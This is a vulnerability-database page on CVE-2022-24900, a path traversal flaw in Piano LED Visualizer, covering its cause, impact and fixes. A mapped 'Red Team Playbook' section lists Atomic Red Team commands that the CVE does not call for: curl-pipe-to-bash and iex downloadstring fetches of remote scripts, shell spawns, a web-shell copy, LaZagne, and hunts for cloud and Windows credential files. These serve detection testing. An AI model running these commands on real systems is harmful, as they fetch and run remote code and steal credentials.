CVE-2022-24900
Overview
This vulnerability is a path traversal flaw rooted in improper handling of file paths within the Piano LED Visualizer software. The issue arises from unsafe use of the Python os.path.join function, which, when given an absolute path as input, disregards preceding path components. This flaw affects the component responsible for serving files via Flask's send_file function, allowing untrusted input to manipulate file access paths.
Vulnerability Description
Piano LED Visualizer is software that allows LED lights to light up as a person plays a piano connected to a computer. Version 1.3 and prior are vulnerable to a path traversal attack. The `os.path.join` call is unsafe for use with untrusted input. When the `os.path.join` call encounters an absolute path, it ignores all the parameters it has encountered till that point and starts working with the new absolute path. Since the "malicious" parameter represents an absolute path, the result of `os.path.join` ignores the static directory completely. Hence, untrusted input is passed via the `os.path.join` call to `flask.send_file` can lead to path traversal attacks. A patch with a fix is available on the `master` branch of the GitHub repository. This can also be fixed by preventing flow of untrusted data to the vulnerable `send_file` function. In case the application logic necessiates this behaviour, one can either use the `flask.safe_join` to join untrusted paths or replace `flask.send_file` calls with `flask.send_from_directory` calls.
Impact
An attacker with network access can exploit this vulnerability without authentication or user interaction, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Successful exploitation enables unauthorized reading of arbitrary files on the host system, potentially exposing sensitive information or configuration data. This can lead to confidentiality breaches and partial system compromise, impacting business operations reliant on data integrity and privacy.
Solution
Users of Piano LED Visualizer should upgrade to the patched version available on the master branch of the GitHub repository as detailed in advisory GHSA-g78x-q3x8-r6m4. Alternatively, developers can mitigate the issue by replacing flask.send_file calls with flask.send_from_directory or by using flask.safe_join to sanitize untrusted paths before file serving. Refer to the official GitHub advisory and pull request #351 for implementation specifics.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the Piano LED Visualizer software stems from an insecure implementation of path handling within its codebase. Specifically, the use of `os.path.join` to concatenate paths without proper validation of user input allows for a path traversal attack. This occurs when an attacker provides an absolute path as input, which causes the function to disregard the intended directory structure. As a result, the application may inadvertently expose sensitive files or directories to unauthorized users when the manipulated path is passed to functions like `flask.send_file`. This flaw highlights a critical oversight in input sanitization and path management, making it a prime target for exploitation.
Attack vectors exploiting this vulnerability can vary, but they generally involve an attacker crafting a malicious request that includes an absolute path. For instance, by manipulating the input parameters sent to the application, an attacker could potentially access files outside the intended directory, such as configuration files or sensitive user data. This could be executed through a web interface where the software accepts user input for file retrieval. The simplicity of this attack, combined with the high potential for data exposure, makes it particularly concerning for users of the Piano LED Visualizer software.
The real-world implications of this vulnerability are significant, especially for organizations that utilize the software in environments where sensitive data is handled. The risk of unauthorized access to critical files could lead to data breaches, loss of intellectual property, or exposure of personal information. Such incidents not only compromise user trust but can also result in regulatory repercussions and financial losses. Businesses relying on this software must recognize the potential for reputational damage and operational disruption should this vulnerability be exploited.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regular code reviews and security audits can help identify insecure coding practices, particularly in areas dealing with user input. Employing static and dynamic analysis tools can also assist in pinpointing vulnerabilities before they are exploited. In terms of mitigation, updating to the latest version of the Piano LED Visualizer, which includes a patch for this vulnerability, is crucial. Additionally, developers should consider using safer alternatives such as `flask.safe_join` or `flask.send_from_directory` to handle file requests securely. These methods ensure that user input is properly validated and restricted to the intended directories, thereby reducing the risk of path traversal attacks.
In conclusion, the vulnerability in the Piano LED Visualizer represents a critical security flaw that can have far-reaching consequences if left unaddressed. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to defend against such threats. Implementing robust detection and mitigation strategies will not only protect sensitive data but also enhance the overall security posture of the software and its users.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Piano Led Visualizer Project | Piano Led Visualizer | All |
cpe:2.3:a:piano_led_visualizer_project:piano_led_visualizer:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (6)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-24900 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/onlaj/Piano-LED-Visualizer/security/advisories/GHSA-g78x-q3x8-r6m4 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/onlaj/Piano-LED-Visualizer/issues/350 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/onlaj/Piano-LED-Visualizer/pull/351 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/onlaj/Piano-LED-Visualizer/commit/3f10602323cd8184e1c69a76b815655597bf0ee5 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/onlaj/Piano-LED-Visualizer/blob/6a732caa812c83a807c711f3d091af99209cae7b/webinterface/views_api.py#L970 |